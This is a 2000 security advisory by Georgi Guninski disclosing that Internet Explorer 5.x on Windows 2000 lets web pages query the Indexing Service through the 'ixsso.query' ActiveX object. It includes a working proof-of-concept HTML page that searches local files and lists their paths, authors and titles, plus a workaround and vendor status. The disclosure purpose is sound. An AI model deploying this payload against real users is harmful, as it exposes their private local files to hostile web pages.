Georgi Guninski security advisory #27, 2000
IE 5.x Win2000 Indexing service vulnerability
Systems affected:
IE 5.x/Outlook/Outlook Express - Windows 2000 with Indexing service
started
Risk: Medium
Date: 10 November 2000
Legal Notice:
This Advisory is Copyright (c) 2000 Georgi Guninski. You may distribute
it unmodified. You may not modify it and distribute it or distribute parts
of it without the author's written permission.
Disclaimer:
The opinions expressed in this advisory and program are my own and
not of any company.
The usual standard disclaimer applies, especially the fact that Georgi
Guninski
is not liable for any damages caused by direct or indirect use
of the information or functionality provided by this advisory or program.
Georgi Guninski, bears no responsibility for content or misuse of this
advisory or program or any derivatives thereof.
Description:
There is a security vulnerability in IE 5.x/Outlook/Outlook on Windows
2000 with Indexing service started (it is not started by default) which
allows searching for files with specific name (wildcards are allowed) or
content. Combined with other local file reading vulnerabilities this may
be danegorous, especially the feature of searching for files that contain
certain content..
Details:
The problem is the "ixsso.query" ActiveXObject which is used to query
the Indexing service and surprisingly it is marked safe for scripting.
The code is:
--------indexserv1.html-------------------------------------------
<INPUT TYPE="BUTTON"
VALUE="Search" onclick="g(document.all.query.value)">
<INPUT TYPE="BUTTON"
VALUE="Find *.txt files" onclick="g('@filename = *.txt')">
<BR>
<SCRIPT>
function g(q1)
{
qu=new ActiveXObject("ixsso.query");
qu.Catalog="System";
//qu.query="@contents
name";
//qu.query="#filename
.htm or name near test";
//qu.query='@filename
= *.doc ';
qu.query=q1;
qu.Columns="filename,
path, doctitle, doccomments, docauthor, size";
rs=qu.CreateRecordset("nonsequential");
//alert("Records:
"+rs.RecordCount);
doc=window.frames[0].document;
doc.writeln("SEARCH
RESULTS Records: "+rs.RecordCount+"<BR>");
doc.writeln("<TABLE
BORDER=2>");
doc.writeln("<TR><TD>Path</TD><TD>size</TD>
<TD>DocAuthor</TD><TD>DocTitle</TD></TR>");
while (!rs.EOF)
{
doc.writeln("<TR><TD><A
TARGET='_blank' HREF='file://"+rs("Path")+"'</A>"+rs("Path")+"</TD><TD>"
+rs("size")+"</TD><TD>"+rs("DocAuthor")+"</TD><TD>"+rs("DocTitle")+"</TD></TR>");
rs.MoveNext();
}
doc.writeln("</TABLE>");
}
//setTimeout("g()",1000);
</SCRIPT>
<IFRAME WIDTH=700
HEIGHT=400 SRC="about:blank"></IFRAME>
--------------------------------------------------------------------- |
Workaround:
Disable Active Scripitng or Indexing service
Demonstration is available at:
http://www.guninski.com/indexserv1.html
Vendor status:
Microsoft was contacted on 6 November |